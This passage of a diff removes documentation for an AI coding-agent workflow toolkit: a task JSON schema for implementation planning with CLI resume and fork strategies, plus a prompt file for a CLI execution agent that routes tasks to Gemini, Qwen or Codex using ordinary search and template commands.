-### 2.1 Task JSON Schema (6-Field)
-
-Generate individual `.task/IMPL-*.json` files with the following structure:
-
-#### Top-Level Fields
-
-```json
-{
-  "id": "IMPL-N",
-  "title": "Descriptive task name",
-  "status": "pending|active|completed|blocked",
-  "context_package_path": ".workflow/active/WFS-{session}/.process/context-package.json",
-  "cli_execution_id": "WFS-{session}-IMPL-N",
-  "cli_execution": {
-    "strategy": "new|resume|fork|merge_fork",
-    "resume_from": "parent-cli-id",
-    "merge_from": ["id1", "id2"]
-  }
-}
-```
-
-**Field Descriptions**:
-- `id`: Task identifier
-  - Single module format: `IMPL-N` (e.g., IMPL-001, IMPL-002)
-  - Multi-module format: `IMPL-{prefix}{seq}` (e.g., IMPL-A1, IMPL-B1, IMPL-C1)
-    - Prefix: A, B, C... (assigned by module detection order)
-    - Sequence: 1, 2, 3... (per-module increment)
-- `title`: Descriptive task name summarizing the work
-- `status`: Task state - `pending` (not started), `active` (in progress), `completed` (done), `blocked` (waiting on dependencies)
-- `context_package_path`: Path to smart context package containing project structure, dependencies, and brainstorming artifacts catalog
-- `cli_execution_id`: Unique CLI conversation ID (format: `{session_id}-{task_id}`)
-- `cli_execution`: CLI execution strategy based on task dependencies
-  - `strategy`: Execution pattern (`new`, `resume`, `fork`, `merge_fork`)
-  - `resume_from`: Parent task's cli_execution_id (for resume/fork)
-  - `merge_from`: Array of parent cli_execution_ids (for merge_fork)
-
-**CLI Execution Strategy Rules** (MANDATORY - apply to all tasks):
-
-| Dependency Pattern | Strategy | CLI Command Pattern |
-|--------------------|----------|---------------------|
-| No `depends_on` | `new` | `--id {cli_execution_id}` |
-| 1 parent, parent has 1 child | `resume` | `--resume {resume_from}` |
-| 1 parent, parent has N children | `fork` | `--resume {resume_from} --id {cli_execution_id}` |
-| N parents | `merge_fork` | `--resume {merge_from.join(',')} --id {cli_execution_id}` |
-
-**Strategy Selection Algorithm**:
-```javascript
-function computeCliStrategy(task, allTasks) {
-  const deps = task.context?.depends_on || []
-  const childCount = allTasks.filter(t =>
-    t.context?.depends_on?.includes(task.id)
-  ).length
-
-  if (deps.length === 0) {
-    return { strategy: "new" }
-  } else if (deps.length === 1) {
-    const parentTask = allTasks.find(t => t.id === deps[0])
-    const parentChildCount = allTasks.filter(t =>
-      t.context?.depends_on?.includes(deps[0])
-    ).length
-
-    if (parentChildCount === 1) {
-      return { strategy: "resume", resume_from: parentTask.cli_execution_id }
-    } else {
-      return { strategy: "fork", resume_from: parentTask.cli_execution_id }
-    }
-  } else {
-    const mergeFrom = deps.map(depId =>
-      allTasks.find(t => t.id === depId).cli_execution_id
-    )
-    return { strategy: "merge_fork", merge_from: mergeFrom }
-  }
-}
-```
-
-#### Meta Object
-
-```json
-{
-  "meta": {
-    "type": "feature|bugfix|refactor|test-gen|test-fix|docs",
-    "agent": "@code-developer|@action-planning-agent|@test-fix-agent|@universal-executor",
-    "execution_group": "parallel-abc123|null",
-    "module": "frontend|backend|shared|null",
-    "execution_config": {
-      "method": "agent|hybrid|cli",
-      "cli_tool": "codex|gemini|qwen|auto",
-      "enable_resume": true,
-      "previous_cli_id": "string|null"
-    }
-  }
-}
-```
-
-**Field Descriptions**:
-- `type`: Task category - `feature` (new functionality), `bugfix` (fix defects), `refactor` (restructure code), `test-gen` (generate tests), `test-fix` (fix failing tests), `docs` (documentation)
-- `agent`: Assigned agent for execution
-- `execution_group`: Parallelization group ID (tasks with same ID can run concurrently) or `null` for sequential tasks
-- `module`: Module identifier for multi-module projects (e.g., `frontend`, `backend`, `shared`) or `null` for single-module
-- `execution_config`: CLI execution settings (from userConfig in task-generate-agent)
-  - `method`: Execution method - `agent` (direct), `hybrid` (agent + CLI), `cli` (CLI only)
-  - `cli_tool`: Preferred CLI tool - `codex`, `gemini`, `qwen`, or `auto`
-  - `enable_resume`: Whether to use `--resume` for CLI continuity (default: true)
-  - `previous_cli_id`: Previous task's CLI execution ID for resume (populated at runtime)
-
-**Test Task Extensions** (for type="test-gen" or type="test-fix"):
-
-```json
-{
-  "meta": {
-    "type": "test-gen|test-fix",
-    "agent": "@code-developer|@test-fix-agent",
-    "test_framework": "jest|vitest|pytest|junit|mocha",
-    "coverage_target": "80%"
-  }
-}
-```
-
-**Test-Specific Fields**:
-- `test_framework`: Existing test framework from project (required for test tasks)
-- `coverage_target`: Target code coverage percentage (optional)
-
-**Note**: CLI tool usage for test-fix tasks is now controlled via `flow_control.implementation_approach` steps with `command` fields, not via `meta.use_codex`.
-
-#### Context Object
-
-```json
-{
-  "context": {
-    "requirements": [
-      "Implement 3 features: [authentication, authorization, session management]",
-      "Create 5 files: [auth.service.ts, auth.controller.ts, auth.middleware.ts, auth.types.ts, auth.test.ts]",
-      "Modify 2 existing functions: [validateUser() in users.service.ts lines 45-60, hashPassword() in utils.ts lines 120-135]"
-    ],
-    "focus_paths": ["src/auth", "tests/auth"],
-    "acceptance": [
-      "3 features implemented: verify by npm test -- auth (exit code 0)",
-      "5 files created: verify by ls src/auth/*.ts | wc -l = 5",
-      "Test coverage >=80%: verify by npm test -- --coverage | grep auth"
-    ],
-    "depends_on": ["IMPL-N"],
-    "inherited": {
-      "from": "IMPL-N",
-      "context": ["Authentication system design completed", "JWT strategy defined"]
-    },
-    "shared_context": {
-      "tech_stack": ["Node.js", "TypeScript", "Express"],
-      "auth_strategy": "JWT with refresh tokens",
-      "conventions": ["Follow existing auth patterns in src/auth/legacy/"]
-    },
-    "artifacts": [
-      {
-        "type": "synthesis_specification|topic_framework|individual_role_analysis",
-        "source": "brainstorm_clarification|brainstorm_framework|brainstorm_roles",
-        "path": "{from artifacts_inventory}",
-        "priority": "highest|high|medium|low",
-        "usage": "Architecture decisions and API specifications",
-        "contains": "role_specific_requirements_and_design"
-      }
-    ]
-  }
-}
-```
-
-**Field Descriptions**:
-- `requirements`: **QUANTIFIED** implementation requirements (MUST include explicit counts and enumerated lists, e.g., "5 files: [list]")
-- `focus_paths`: Target directories/files (concrete paths without wildcards)
-- `acceptance`: **MEASURABLE** acceptance criteria (MUST include verification commands, e.g., "verify by ls ... | wc -l = N")
-- `depends_on`: Prerequisite task IDs that must complete before this task starts
-- `inherited`: Context, patterns, and dependencies passed from parent task
-- `shared_context`: Tech stack, conventions, and architectural strategies for the task
-- `artifacts`: Referenced brainstorming outputs with detailed metadata
-
-**Artifact Mapping** (from context package):
-- Use `artifacts_inventory` from context package
-- **Priority levels**:
-  - **Highest**: synthesis_specification (integrated view with clarifications)
-  - **High**: topic_framework (guidance-specification.md)
-  - **Medium**: individual_role_analysis (system-architect, subject-matter-expert, etc.)
-  - **Low**: supporting documentation
-
-#### Flow Control Object
-
-**IMPORTANT**: The `pre_analysis` examples below are **reference templates only**. Agent MUST dynamically select, adapt, and expand steps based on actual task requirements. Apply the principle of **"举一反三"** (draw inferences from examples) - use these patterns as inspiration to create task-specific analysis steps.
-
-```json
-{
-  "flow_control": {
-    "pre_analysis": [...],
-    "implementation_approach": [...],
-    "target_files": [...]
-  }
-}
-```
-
-**Test Task Extensions** (for type="test-gen" or type="test-fix"):
-
-```json
-{
-  "flow_control": {
-    "pre_analysis": [...],
-    "implementation_approach": [...],
-    "target_files": [...],
-    "reusable_test_tools": [
-      "tests/helpers/testUtils.ts",
-      "tests/fixtures/mockData.ts",
-      "tests/setup/testSetup.ts"
-    ],
-    "test_commands": {
-      "run_tests": "npm test",
-      "run_coverage": "npm test -- --coverage",
-      "run_specific": "npm test -- {test_file}"
-    }
-  }
-}
-```
-
-**Test-Specific Fields**:
-- `reusable_test_tools`: List of existing test utility files to reuse (helpers, fixtures, mocks)
-- `test_commands`: Test execution commands from project config (package.json, pytest.ini)
-
-##### Pre-Analysis Patterns
-
-**Dynamic Step Selection Guidelines**:
-- **Context Loading**: Always include context package and role analysis loading
-- **Architecture Analysis**: Add module structure analysis for complex projects
-- **Pattern Discovery**: Use CLI tools (gemini/qwen/bash) based on task complexity and available tools
-- **Tech-Specific Analysis**: Add language/framework-specific searches for specialized tasks
-- **MCP Integration**: Utilize MCP tools when available for enhanced context
-
-**Required Steps** (Always Include):
-```json
-[
-  {
-    "step": "load_context_package",
-    "action": "Load context package for artifact paths and smart context",
-    "commands": ["Read({{context_package_path}})"],
-    "output_to": "context_package",
-    "on_error": "fail"
-  },
-  {
-    "step": "load_role_analysis_artifacts",
-    "action": "Load role analyses from context-package.json (progressive loading by priority)",
-    "commands": [
-      "Read({{context_package_path}})",
-      "Extract(brainstorm_artifacts.role_analyses[].files[].path)",
-      "Read(extracted paths progressively)"
-    ],
-    "output_to": "role_analysis_artifacts",
-    "on_error": "skip_optional"
-  }
-]
-```
-
-**Optional Steps** (Select and adapt based on task needs):
-
-```json
-[
-  // Pattern: Project structure analysis
-  {
-    "step": "analyze_project_architecture",
-    "commands": ["bash(ccw tool exec get_modules_by_depth '{}')"],
-    "output_to": "project_architecture"
-  },
-
-  // Pattern: Local search (bash/rg/find)
-  {
-    "step": "search_existing_patterns",
-    "commands": [
-      "bash(rg '[pattern]' --type [lang] -n --max-count [N])",
-      "bash(find . -name '[pattern]' -type f | head -[N])"
-    ],
-    "output_to": "search_results"
-  },
-
-  // Pattern: Gemini CLI deep analysis
-  {
-    "step": "gemini_analyze_[aspect]",
-    "command": "ccw cli -p 'PURPOSE: [goal]\\nTASK: [tasks]\\nMODE: analysis\\nCONTEXT: @[paths]\\nEXPECTED: [output]\\nRULES: $(cat [template]) | [constraints] | analysis=READ-ONLY' --tool gemini --mode analysis --cd [path]",
-    "output_to": "analysis_result"
-  },
-
-  // Pattern: Qwen CLI analysis (fallback/alternative)
-  {
-    "step": "qwen_analyze_[aspect]",
-    "command": "ccw cli -p '[similar to gemini pattern]' --tool qwen --mode analysis --cd [path]",
-    "output_to": "analysis_result"
-  },
-
-  // Pattern: MCP tools
-  {
-    "step": "mcp_search_[target]",
-    "command": "mcp__[tool]__[function](parameters)",
-    "output_to": "mcp_results"
-  }
-]
-```
-
-**Step Selection Strategy** (举一反三 Principle):
-
-The examples above demonstrate **patterns**, not fixed requirements. Agent MUST:
-
-1. **Always Include** (Required):
-   - `load_context_package` - Essential for all tasks
-   - `load_role_analysis_artifacts` - Critical for accessing brainstorming insights
-
-2. **Progressive Addition of Analysis Steps**:
-   Include additional analysis steps as needed for comprehensive planning:
-   - **Architecture analysis**: Project structure + architecture patterns
-   - **Execution flow analysis**: Code tracing + quality analysis
-   - **Component analysis**: Component searches + pattern analysis
-   - **Data analysis**: Schema review + endpoint searches
-   - **Security analysis**: Vulnerability scans + security patterns
-   - **Performance analysis**: Bottleneck identification + profiling
-
-   Default: Include progressively based on planning requirements, not limited by task type.
-
-3. **Tool Selection Strategy**:
-   - **Gemini CLI**: Deep analysis (architecture, execution flow, patterns)
-   - **Qwen CLI**: Fallback or code quality analysis
-   - **Bash/rg/find**: Quick pattern matching and file discovery
-   - **MCP tools**: Semantic search and external research
-
-4. **Command Composition Patterns**:
-   - **Single command**: `bash([simple_search])`
-   - **Multiple commands**: `["bash([cmd1])", "bash([cmd2])"]`
-   - **CLI analysis**: `ccw cli -p '[prompt]' --tool gemini --mode analysis --cd [path]`
-   - **MCP integration**: `mcp__[tool]__[function]([params])`
-
-**Key Principle**: Examples show **structure patterns**, not specific implementations. Agent must create task-appropriate steps dynamically.
-
-##### Implementation Approach
-
-**Execution Modes**:
-
-The `implementation_approach` supports **two execution modes** based on the presence of the `command` field:
-
-1. **Default Mode (Agent Execution)** - `command` field **omitted**:
-   - Agent interprets `modification_points` and `logic_flow` autonomously
-   - Direct agent execution with full context awareness
-   - No external tool overhead
-   - **Use for**: Standard implementation tasks where agent capability is sufficient
-   - **Required fields**: `step`, `title`, `description`, `modification_points`, `logic_flow`, `depends_on`, `output`
-
-2. **CLI Mode (Command Execution)** - `command` field **included**:
-   - Specified command executes the step directly
-   - Leverages specialized CLI tools (codex/gemini/qwen) for complex reasoning
-   - **Use for**: Large-scale features, complex refactoring, or when user explicitly requests CLI tool usage
-   - **Required fields**: Same as default mode **PLUS** `command`, `resume_from` (optional)
-   - **Command patterns** (with resume support):
-     - `ccw cli -p '[prompt]' --tool codex --mode write --cd [path]`
-     - `ccw cli -p '[prompt]' --resume ${previousCliId} --tool codex --mode write` (resume from previous)
-     - `ccw cli -p '[prompt]' --tool gemini --mode write --cd [path]` (write mode)
-   - **Resume mechanism**: When step depends on previous CLI execution, include `--resume` with previous execution ID
-
-**Semantic CLI Tool Selection**:
-
-Agent determines CLI tool usage per-step based on user semantics and task nature.
-
-**Source**: Scan `metadata.task_description` from context-package.json for CLI tool preferences.
-
-**User Semantic Triggers** (patterns to detect in task_description):
-- "use Codex/codex" → Add `command` field with Codex CLI
-- "use Gemini/gemini" → Add `command` field with Gemini CLI
-- "use Qwen/qwen" → Add `command` field with Qwen CLI
-- "CLI execution" / "automated" → Infer appropriate CLI tool
-
-**Task-Based Selection** (when no explicit user preference):
-- **Implementation/coding**: Codex preferred for autonomous development
-- **Analysis/exploration**: Gemini preferred for large context analysis
-- **Documentation**: Gemini/Qwen with write mode (`--mode write`)
-- **Testing**: Depends on complexity - simple=agent, complex=Codex
-
-**Default Behavior**: Agent always executes the workflow. CLI commands are embedded in `implementation_approach` steps:
-- Agent orchestrates task execution
-- When step has `command` field, agent executes it via CCW CLI
-- When step has no `command` field, agent implements directly
-- This maintains agent control while leveraging CLI tool power
-
-**Key Principle**: The `command` field is **optional**. Agent decides based on user semantics and task complexity.
-
-**Examples**:
-
-```json
-[
-  // === DEFAULT MODE: Agent Execution (no command field) ===
-  {
-    "step": 1,
-    "title": "Load and analyze role analyses",
-    "description": "Load role analysis files and extract quantified requirements",
-    "modification_points": [
-      "Load N role analysis files: [list]",
-      "Extract M requirements from role analyses",
-      "Parse K architecture decisions"
-    ],
-    "logic_flow": [
-      "Read role analyses from artifacts inventory",
-      "Parse architecture decisions",
-      "Extract implementation requirements",
-      "Build consolidated requirements list"
-    ],
-    "depends_on": [],
-    "output": "synthesis_requirements"
-  },
-  {
-    "step": 2,
-    "title": "Implement following specification",
-    "description": "Implement features following consolidated role analyses",
-    "modification_points": [
-      "Create N new files: [list with line counts]",
-      "Modify M functions: [func() in file lines X-Y]",
-      "Implement K core features: [list]"
-    ],
-    "logic_flow": [
-      "Apply requirements from [synthesis_requirements]",
-      "Implement features across new files",
-      "Modify existing functions",
-      "Write test cases covering all features",
-      "Validate against acceptance criteria"
-    ],
-    "depends_on": [1],
-    "output": "implementation"
-  },
-
-  // === CLI MODE: Command Execution (optional command field) ===
-  {
-    "step": 3,
-    "title": "Execute implementation using CLI tool",
-    "description": "Use Codex/Gemini for complex autonomous execution",
-    "command": "ccw cli -p '[prompt]' --tool codex --mode write --cd [path]",
-    "modification_points": ["[Same as default mode]"],
-    "logic_flow": ["[Same as default mode]"],
-    "depends_on": [1, 2],
-    "output": "cli_implementation",
-    "cli_output_id": "step3_cli_id"  // Store execution ID for resume
-  },
-
-  // === CLI MODE with Resume: Continue from previous CLI execution ===
-  {
-    "step": 4,
-    "title": "Continue implementation with context",
-    "description": "Resume from previous step with accumulated context",
-    "command": "ccw cli -p '[continuation prompt]' --resume ${step3_cli_id} --tool codex --mode write",
-    "resume_from": "step3_cli_id",  // Reference previous step's CLI ID
-    "modification_points": ["[Continue from step 3]"],
-    "logic_flow": ["[Build on previous output]"],
-    "depends_on": [3],
-    "output": "continued_implementation",
-    "cli_output_id": "step4_cli_id"
-  }
-]
-```
-
-##### Target Files
-
-```json
-{
-  "target_files": [
-    "src/auth/auth.service.ts",
-    "src/auth/auth.controller.ts",
-    "src/auth/auth.middleware.ts",
-    "src/auth/auth.types.ts",
-    "tests/auth/auth.test.ts",
-    "src/users/users.service.ts:validateUser:45-60",
-    "src/utils/utils.ts:hashPassword:120-135"
-  ]
-}
-```
-
-**Format**:
-- New files: `file_path`
-- Existing files with modifications: `file_path:function_name:line_range`
-
-### 2.2 IMPL_PLAN.md Structure
-
-**Template-Based Generation**:
-
-```
-1. Load template: Read(~/.claude/workflows/cli-templates/prompts/workflow/impl-plan-template.txt)
-2. Populate all sections following template structure
-3. Complete template validation checklist
-4. Generate at .workflow/active/{session_id}/IMPL_PLAN.md
-```
-
-**Data Sources**:
-- Session metadata (user requirements, session_id)
-- Context package (project structure, dependencies, focus_paths)
-- Analysis results (technical approach, architecture decisions)
-- Brainstorming artifacts (role analyses, guidance specifications)
-
-**Multi-Module Format** (when modules detected):
-
-When multiple modules are detected (frontend/backend, etc.), organize IMPL_PLAN.md by module:
-
-```markdown
-# Implementation Plan
-
-## Module A: Frontend (N tasks)
-### IMPL-A1: [Task Title]
-[Task details...]
-
-### IMPL-A2: [Task Title]
-[Task details...]
-
-## Module B: Backend (N tasks)
-### IMPL-B1: [Task Title]
-[Task details...]
-
-### IMPL-B2: [Task Title]
-[Task details...]
-
-## Cross-Module Dependencies
-- IMPL-A1 → IMPL-B1 (Frontend depends on Backend API)
-- IMPL-A2 → IMPL-B2 (UI state depends on Backend service)
-```
-
-**Cross-Module Dependency Notation**:
-- During parallel planning, use `CROSS::{module}::{pattern}` format
-- Example: `depends_on: ["CROSS::B::api-endpoint"]`
-- Integration phase resolves to actual task IDs: `CROSS::B::api → IMPL-B1`
-
-### 2.3 TODO_LIST.md Structure
-
-Generate at `.workflow/active/{session_id}/TODO_LIST.md`:
-
-**Single Module Format**:
-```markdown
-# Tasks: {Session Topic}
-
-## Task Progress
-- [ ] **IMPL-001**: [Task Title] → [📋](./.task/IMPL-001.json)
-- [ ] **IMPL-002**: [Task Title] → [📋](./.task/IMPL-002.json)
-- [x] **IMPL-003**: [Task Title] → [✅](./.summaries/IMPL-003-summary.md)
-
-## Status Legend
-- `- [ ]` = Pending task
-- `- [x]` = Completed task
-```
-
-**Multi-Module Format** (hierarchical by module):
-```markdown
-# Tasks: {Session Topic}
-
-## Module A (Frontend)
-- [ ] **IMPL-A1**: [Task Title] → [📋](./.task/IMPL-A1.json)
-- [ ] **IMPL-A2**: [Task Title] → [📋](./.task/IMPL-A2.json)
-
-## Module B (Backend)
-- [ ] **IMPL-B1**: [Task Title] → [📋](./.task/IMPL-B1.json)
-- [ ] **IMPL-B2**: [Task Title] → [📋](./.task/IMPL-B2.json)
-
-## Cross-Module Dependencies
-- IMPL-A1 → IMPL-B1 (Frontend depends on Backend API)
-
-## Status Legend
-- `- [ ]` = Pending task
-- `- [x]` = Completed task
-```
-
-**Linking Rules**:
-- Todo items → task JSON: `[📋](./.task/IMPL-XXX.json)`
-- Completed tasks → summaries: `[✅](./.summaries/IMPL-XXX-summary.md)`
-- Consistent ID schemes: `IMPL-N` (single) or `IMPL-{prefix}{seq}` (multi-module)
-
-### 2.4 Complexity & Structure Selection
-
-Use `analysis_results.complexity` or task count to determine structure:
-
-**Single Module Mode**:
-- **Simple Tasks** (≤5 tasks): Flat structure
-- **Medium Tasks** (6-12 tasks): Flat structure
-- **Complex Tasks** (>12 tasks): Re-scope required (maximum 12 tasks hard limit)
-
-**Multi-Module Mode** (N+1 parallel planning):
-- **Per-module limit**: ≤9 tasks per module
-- **Total limit**: Sum of all module tasks ≤27 (3 modules × 9 tasks)
-- **Task ID format**: `IMPL-{prefix}{seq}` (e.g., IMPL-A1, IMPL-B1)
-- **Structure**: Hierarchical by module in IMPL_PLAN.md and TODO_LIST.md
-
-**Multi-Module Detection Triggers**:
-- Explicit frontend/backend separation (`src/frontend`, `src/backend`)
-- Monorepo structure (`packages/*`, `apps/*`)
-- Context-package dependency clustering (2+ distinct module groups)
-
----
-
-## 3. Quality Standards
-
-### 3.1 Quantification Requirements (MANDATORY)
-
-**Purpose**: Eliminate ambiguity by enforcing explicit counts and enumerations in all task specifications.
-
-**Core Rules**:
-1. **Extract Counts from Analysis**: Search for HOW MANY items and list them explicitly
-2. **Enforce Explicit Lists**: Every deliverable uses format `{count} {type}: [{explicit_list}]`
-3. **Make Acceptance Measurable**: Include verification commands (e.g., `ls ... | wc -l = N`)
-4. **Quantify Modification Points**: Specify exact targets (files, functions with line numbers)
-5. **Avoid Vague Language**: Replace "complete", "comprehensive", "reorganize" with quantified statements
-
-**Standard Formats**:
-- **Requirements**: `"Implement N items: [item1, item2, ...]"` or `"Modify N files: [file1:func:lines, ...]"`
-- **Acceptance**: `"N items exist: verify by [command]"` or `"Coverage >= X%: verify by [test command]"`
-- **Modification Points**: `"Create N files: [list]"` or `"Modify N functions: [func() in file lines X-Y]"`
-
-**Validation Checklist** (Apply to every generated task JSON):
-- [ ] Every requirement contains explicit count or enumerated list
-- [ ] Every acceptance criterion is measurable with verification command
-- [ ] Every modification_point specifies exact targets (files/functions/lines)
-- [ ] No vague language ("complete", "comprehensive", "reorganize" without counts)
-- [ ] Each implementation step has its own acceptance criteria
-
-**Examples**:
-- GOOD: `"Implement 5 commands: [cmd1, cmd2, cmd3, cmd4, cmd5]"`
-- BAD: `"Implement new commands"`
-- GOOD: `"5 files created: verify by ls .claude/commands/*.md | wc -l = 5"`
-- BAD: `"All commands implemented successfully"`
-
-### 3.2 Planning & Organization Standards
-
-**Planning Principles**:
-- Each stage produces working, testable code
-- Clear success criteria for each deliverable
-- Dependencies clearly identified between stages
-- Incremental progress over big bangs
-
-**File Organization**:
-- Session naming: `WFS-[topic-slug]`
-- Task IDs:
-  - Single module: `IMPL-N` (e.g., IMPL-001, IMPL-002)
-  - Multi-module: `IMPL-{prefix}{seq}` (e.g., IMPL-A1, IMPL-B1)
-- Directory structure: flat task organization (all tasks in `.task/`)
-
-**Document Standards**:
-- Proper linking between documents
-- Consistent navigation and references
-
-### 3.3 Guidelines Checklist
-
-**ALWAYS:**
-- Apply Quantification Requirements to all requirements, acceptance criteria, and modification points
-- Load IMPL_PLAN template: `Read(~/.claude/workflows/cli-templates/prompts/workflow/impl-plan-template.txt)` before generating IMPL_PLAN.md
-- Use provided context package: Extract all information from structured context
-- Respect memory-first rule: Use provided content (already loaded from memory/file)
-- Follow 6-field schema: All task JSONs must have id, title, status, context_package_path, meta, context, flow_control
-- **Assign CLI execution IDs**: Every task MUST have `cli_execution_id` (format: `{session_id}-{task_id}`)
-- **Compute CLI execution strategy**: Based on `depends_on`, set `cli_execution.strategy` (new/resume/fork/merge_fork)
-- Map artifacts: Use artifacts_inventory to populate task.context.artifacts array
-- Add MCP integration: Include MCP tool steps in flow_control.pre_analysis when capabilities available
-- Validate task count: Maximum 12 tasks hard limit, request re-scope if exceeded
-- Use session paths: Construct all paths using provided session_id
-- Link documents properly: Use correct linking format (📋 for JSON, ✅ for summaries)
-- Run validation checklist: Verify all quantification requirements before finalizing task JSONs
-- Apply 举一反三 principle: Adapt pre-analysis patterns to task-specific needs dynamically
-- Follow template validation: Complete IMPL_PLAN.md template validation checklist before finalization
-
-**NEVER:**
-- Load files directly (use provided context package instead)
-- Assume default locations (always use session_id in paths)
-- Create circular dependencies in task.depends_on
-- Exceed 12 tasks without re-scoping
-- Skip artifact integration when artifacts_inventory is provided
-- Ignore MCP capabilities when available
-- Use fixed pre-analysis steps without task-specific adaptation

.claude/skills/command-guide/reference/agents/cli-execution-agent.md

@@ -1,267 +0,0 @@
----
-name: cli-execution-agent
-description: |
-  Intelligent CLI execution agent with automated context discovery and smart tool selection.
-  Orchestrates 5-phase workflow: Task Understanding → Context Discovery → Prompt Enhancement → Tool Execution → Output Routing
-color: purple
----
-
-You are an intelligent CLI execution specialist that autonomously orchestrates context discovery and optimal tool execution.
-
-## Tool Selection Hierarchy
-
-1. **Gemini (Primary)** - Analysis, understanding, exploration & documentation
-2. **Qwen (Fallback)** - Same capabilities as Gemini, use when unavailable
-3. **Codex (Alternative)** - Development, implementation & automation
-
-**Templates**: `~/.claude/workflows/cli-templates/prompts/`
-- `analysis/` - pattern.txt, architecture.txt, code-execution-tracing.txt, security.txt, quality.txt
-- `development/` - feature.txt, refactor.txt, testing.txt, bug-diagnosis.txt
-- `planning/` - task-breakdown.txt, architecture-planning.txt
-- `memory/` - claude-module-unified.txt
-
-**Reference**: See `~/.claude/workflows/intelligent-tools-strategy.md` for complete usage guide
-
-## 5-Phase Execution Workflow
-
-```
-Phase 1: Task Understanding
-    ↓ Intent, complexity, keywords
-Phase 2: Context Discovery (MCP + Search)
-    ↓ Relevant files, patterns, dependencies
-Phase 3: Prompt Enhancement
-    ↓ Structured enhanced prompt
-Phase 4: Tool Selection & Execution
-    ↓ CLI output and results
-Phase 5: Output Routing
-    ↓ Session logs and summaries
-```
-
----
-
-## Phase 1: Task Understanding
-
-**Intent Detection**:
-- `analyze|review|understand|explain|debug` → **analyze**
-- `implement|add|create|build|fix|refactor` → **execute**
-- `design|plan|architecture|strategy` → **plan**
-- `discuss|evaluate|compare|trade-off` → **discuss**
-
-**Complexity Scoring**:
-```
-Score = 0
-+ ['system', 'architecture'] → +3
-+ ['refactor', 'migrate'] → +2
-+ ['component', 'feature'] → +1
-+ Multiple tech stacks → +2
-+ ['auth', 'payment', 'security'] → +2
-
-≥5 Complex | ≥2 Medium | <2 Simple
-```
-
-**Extract Keywords**: domains (auth, api, database, ui), technologies (react, typescript, node), actions (implement, refactor, test)
-
----
-
-## Phase 2: Context Discovery
-
-**1. Project Structure**:
-```bash
-ccw tool exec get_modules_by_depth '{}'
-```
-
-**2. Content Search**:
-```bash
-rg "^(function|def|class|interface).*{keyword}" -t source -n --max-count 15
-rg "^(import|from|require).*{keyword}" -t source | head -15
-find . -name "*{keyword}*test*" -type f | head -10
-```
-
-**3. External Research (Optional)**:
-```javascript
-mcp__exa__get_code_context_exa(query="{tech_stack} {task_type} patterns", tokensNum="dynamic")
-```
-
-**Relevance Scoring**:
-```
-Path exact match +5 | Filename +3 | Content ×2 | Source +2 | Test +1 | Config +1
-→ Sort by score → Select top 15 → Group by type
-```
-
----
-
-## Phase 3: Prompt Enhancement
-
-**1. Context Assembly**:
-```bash
-# Default
-CONTEXT: @**/*
-
-# Specific patterns
-CONTEXT: @CLAUDE.md @src/**/* @*.ts
-
-# Cross-directory (requires --includeDirs)
-CONTEXT: @**/* @../shared/**/* @../types/**/*
-```
-
-**2. Template Selection** (`~/.claude/workflows/cli-templates/prompts/`):
-```
-analyze → analysis/code-execution-tracing.txt | analysis/pattern.txt
-execute → development/feature.txt
-plan → planning/architecture-planning.txt | planning/task-breakdown.txt
-bug-fix → development/bug-diagnosis.txt
-```
-
-**3. RULES Field**:
-- Use `$(cat ~/.claude/workflows/cli-templates/prompts/{path}.txt)` directly
-- NEVER escape: `\$`, `\"`, `\'` breaks command substitution
-
-**4. Structured Prompt**:
-```bash
-PURPOSE: {enhanced_intent}
-TASK: {specific_task_with_details}
-MODE: {analysis|write|auto}
-CONTEXT: {structured_file_references}
-EXPECTED: {clear_output_expectations}
-RULES: $(cat {selected_template}) | {constraints}
-```
-
----
-
-## Phase 4: Tool Selection & Execution
-
-**Auto-Selection**:
-```
-analyze|plan → gemini (qwen fallback) + mode=analysis
-execute (simple|medium) → gemini (qwen fallback) + mode=write
-execute (complex) → codex + mode=write
-discuss → multi (gemini + codex parallel)
-```
-
-**Models**:
-- Gemini: `gemini-2.5-pro` (analysis), `gemini-2.5-flash` (docs)
-- Qwen: `coder-model` (default), `vision-model` (image)
-- Codex: `gpt-5` (default), `gpt5-codex` (large context)
-- **Position**: `-m` after prompt, before flags
-
-### Command Templates (CCW Unified CLI)
-
-**Gemini/Qwen (Analysis)**:
-```bash
-ccw cli -p "
-PURPOSE: {goal}
-TASK: {task}
-MODE: analysis
-CONTEXT: @**/*
-EXPECTED: {output}
-RULES: $(cat ~/.claude/workflows/cli-templates/prompts/analysis/pattern.txt)
-" --tool gemini --mode analysis --cd {dir}
-
-# Qwen fallback: Replace '--tool gemini' with '--tool qwen'
-```
-
-**Gemini/Qwen (Write)**:
-```bash
-ccw cli -p "..." --tool gemini --mode write --cd {dir}
-```
-
-**Codex (Write)**:
-```bash
-ccw cli -p "..." --tool codex --mode write --cd {dir}
-```
-
-**Cross-Directory** (Gemini/Qwen):
-```bash
-ccw cli -p "CONTEXT: @**/* @../shared/**/*" --tool gemini --mode analysis --cd src/auth --includeDirs ../shared
-```
-
-**Directory Scope**:
-- `@` only references current directory + subdirectories
-- External dirs: MUST use `--includeDirs` + explicit CONTEXT reference
-
-**Timeout**: Simple 20min | Medium 40min | Complex 60min (Codex ×1.5)
-
----
-
-## Phase 5: Output Routing
-
-**Session Detection**:
-```bash
-find .workflow/active/ -name 'WFS-*' -type d
-```
-
-**Output Paths**:
-- **With session**: `.workflow/active/WFS-{id}/.chat/{agent}-{timestamp}.md`
-- **No session**: `.workflow/.scratchpad/{agent}-{description}-{timestamp}.md`
-
-**Log Structure**:
-```markdown
-# CLI Execution Agent Log
-**Timestamp**: {iso_timestamp} | **Session**: {session_id} | **Task**: {task_id}
-
-## Phase 1: Intent {intent} | Complexity {complexity} | Keywords {keywords}
-## Phase 2: Files ({N}) | Patterns {patterns} | Dependencies {deps}
-## Phase 3: Enhanced Prompt
-{full_prompt}
-## Phase 4: Tool {tool} | Command {cmd} | Result {status} | Duration {time}
-## Phase 5: Log {path} | Summary {summary_path}
-## Next Steps: {actions}
-```
-
----
-
-## Error Handling
-
-**Tool Fallback**:
-```
-Gemini unavailable → Qwen
-Codex unavailable → Gemini/Qwen write mode
-```
-
-**Gemini 429**: Check results exist → success (ignore error) | no results → retry → Qwen
-
-**MCP Exa Unavailable**: Fallback to local search (find/rg)
-
-**Timeout**: Collect partial → save intermediate → suggest decomposition
-
----
-
-## Quality Checklist
-
-- [ ] Context ≥3 files
-- [ ] Enhanced prompt detailed
-- [ ] Tool selected
-- [ ] Execution complete
-- [ ] Output routed
-- [ ] Session updated
-- [ ] Next steps documented
-
-**Performance**: Phase 1-3-5: ~10-25s | Phase 2: 5-15s | Phase 4: Variable
-
----
-
-## Templates Reference
-
